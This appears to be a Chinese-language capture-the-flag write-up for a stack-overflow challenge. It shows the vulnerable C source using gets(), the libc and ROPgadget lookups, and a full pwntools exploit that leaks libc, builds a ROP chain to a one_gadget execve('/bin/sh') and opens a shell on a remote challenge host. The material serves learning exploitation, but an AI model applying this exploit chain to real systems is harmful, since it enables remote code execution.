原始碼
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc chal.c -o chal -fno-stack-protector -no-pie
void gadget() {
__asm__(
"pop %r10;"
"ret;"
"pop %rdx;"
"ret;"
);
}
int main(){
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
char buffer[0x30];
printf("GIFT: %p \n>", &printf);
gets(buffer);
return 0;
}
解題
解題思路
這題檔案是動態連結,可以對libc.so.6 使用One_gadget查看取得shell的條件,並達成條件取得shell
PS : 此題有些條件會用到rbp,所以在overflow時不能在rdp中放垃圾值
確認保護機制
checksec --file=chal

尋找需要的資訊
查詢條件
one-gadget libc.so.6
隨意選一個
0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
address rbp-0x78 is writable
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
尋找printf在libc.so.6位置
readelf --wide -s libc.so.6 |grep printf

2922: 00000000000606f0 204 FUNC GLOBAL DEFAULT 15 printf@@GLIBC_2.2.5
尋找pop rsi在libc.so.6位置
ROPgadget --binary libc.so.6 --only "pop|ret"|grep rsi

0x000000000002be51 : pop rsi ; ret
尋找pop rdx在libc.so.6位置
ROPgadget --binary libc.so.6 --only "pop|ret"|grep rdx

0x000000000011f367 : pop rdx ; pop r12 ; ret
計算overflow所需大小

0xdf48-0xdf10=0x38
0x38-8=0x30
尋找可寫位置(取end位置讓rdp去剪)

0x405000
尋找ret在libc.so.6位置
ROPgadget --binary libc.so.6 --only "ret"

0x0000000000029139 : ret
編寫payload
計算offset
addr=r.recvline().decode().split(": ")[1].strip()
addr = int(addr, 16)
offset=addr-0x606f0
編寫payload
pop_rdx_r12=0x11f367+offset
pop_rsi=0x02be51+offset
ret=0x029139+offset
bss=0x405000
p=flat(
b'a'*0x30,
bss,
pop_rdx_r12,0,0
pop_rsi,0,
0xebc88+offset,
)
實際payload
from pwn import *
context.arch = 'amd64'
host='66.235.110.67'
port=20005
r=remote(host,port)
addr=int(r.recvline().decode().split(": ")[1].strip(),16)
offset=addr-0x0606f0
pop_rdx_r12=0x11f367+offset
pop_rsi=0x02be51+offset
ret=0x029139+offset
bss=0x405000
p=flat(
b'a'*0x30,
bss,
ret,
pop_rdx_r12,0,0,
pop_rsi,0,
0xebc88+offset
)
r.sendline(p)
r.interactive()
flag



說些什麼吧!